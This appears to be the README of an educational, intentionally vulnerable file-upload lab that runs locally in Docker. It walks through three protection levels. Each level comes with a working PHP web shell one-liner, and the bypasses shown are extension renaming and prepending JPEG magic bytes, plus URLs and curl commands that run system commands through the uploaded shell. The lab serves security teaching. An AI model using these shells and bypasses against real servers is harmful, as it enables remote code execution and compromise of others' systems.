Skip to content

Latest commit

 

History

3 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

RGSecurityTeam — File Upload Vulnerability Lab

OWASP A04 / CWE-434 — Unrestricted File Upload

⚠️ This lab is for educational purposes only. Never deploy it on a public server.


About the Lab

This lab has three security levels. Each level has different protection for file uploads. The goal is to bypass each protection and upload a PHP shell.

Level Name Protection Bypass Method
1 LOW No check Directly upload a .php file
2 MEDIUM Extension check only Rename shell.phpshell.jpg
3 HIGH Extension + MIME + Magic bytes Prepend JPEG magic bytes

Run with Docker

Step 1 — Build the Docker Image

docker build -t rg-upload-lab .

Step 2 — Run the Container

docker run -d -p 8080:80 --name upload-lab rg-upload-lab

Step 3 — Open in Browser

http://localhost:8080

Stop the Container

docker stop upload-lab
docker rm upload-lab

Rebuild After Code Changes

docker stop upload-lab && docker rm upload-lab
docker build -t rg-upload-lab . && docker run -d -p 8080:80 --name upload-lab rg-upload-lab

How to Test the Lab


🔴 Level 1 — LOW (No Restriction)

Select LOW from the Level panel on the bottom-left side of the page.

Test: Directly create and upload a PHP shell.

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Open the following URL in your browser:

http://localhost:8080/uploads/shell.php?cmd=id

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

🟡 Level 2 — MEDIUM (Extension Check Only)

Select MEDIUM from the Level panel.

Test: Rename the shell file.

echo '<?php system($_GET["cmd"]); ?>' > shell.jpg

Upload this shell.jpg file. The server only checks the extension and does not inspect the content.

If successful:

http://localhost:8080/uploads/shell.jpg?cmd=whoami

✅ The PHP code will execute because the server allows the file based only on its .jpg extension.


🟢 Level 3 — HIGH (Magic Bytes Check)

Select HIGH from the Level panel.

Simply renaming the file will not work here. The server checks the first few bytes of the file and verifies its signature.

Bypass Method — Prepend Magic Bytes:

Run the following commands in the terminal:

# Create the PHP shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Prepend JPEG magic bytes (FF D8 FF E0) to the PHP code
printf '\xff\xd8\xff\xe0' | cat - shell.php > shell.jpg

Then upload shell.jpg. The server checks the first 4 bytes — which are a valid JPEG signature — and allows the upload. However, the remaining content contains the PHP code.

http://localhost:8080/uploads/shell.jpg?cmd=id

✅ The PHP code will execute because the Apache configuration also allows .jpg files in the uploads folder to be executed as PHP.

You can also test it with Curl:

curl "http://localhost:8080/uploads/shell.jpg?cmd=ls+-la+/var/www/html/uploads"

Viewing Uploaded Files

# Enter the container
docker exec -it upload-lab bash

# View the uploads folder
ls -la /var/www/html/uploads/

# View the content of a file
cat /var/www/html/uploads/shell.jpg

Cleaning the Uploads Folder

docker exec upload-lab bash -c "rm -f /var/www/html/uploads/*.jpg /var/www/html/uploads/*.php"

File Structure

.
├── index.php       # Main UI + Level switcher
├── upload.php      # Upload handler (3 level logic)
├── style.css       # Dark cybersecurity theme
├── script.js       # File inspector + drag-drop
├── Dockerfile      # Docker build config
└── README.md       # This file

Warning

  • This lab is intentionally vulnerable — do not use it on a real server
  • Keep the Docker container accessible only from localhost
  • Stop the container after testing with docker stop upload-lab

RGSecurityTeam © 2026 — Educational Use Only

About

OWASP A04 / CWE-434 Unrestricted File Upload Vulnerability Lab

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages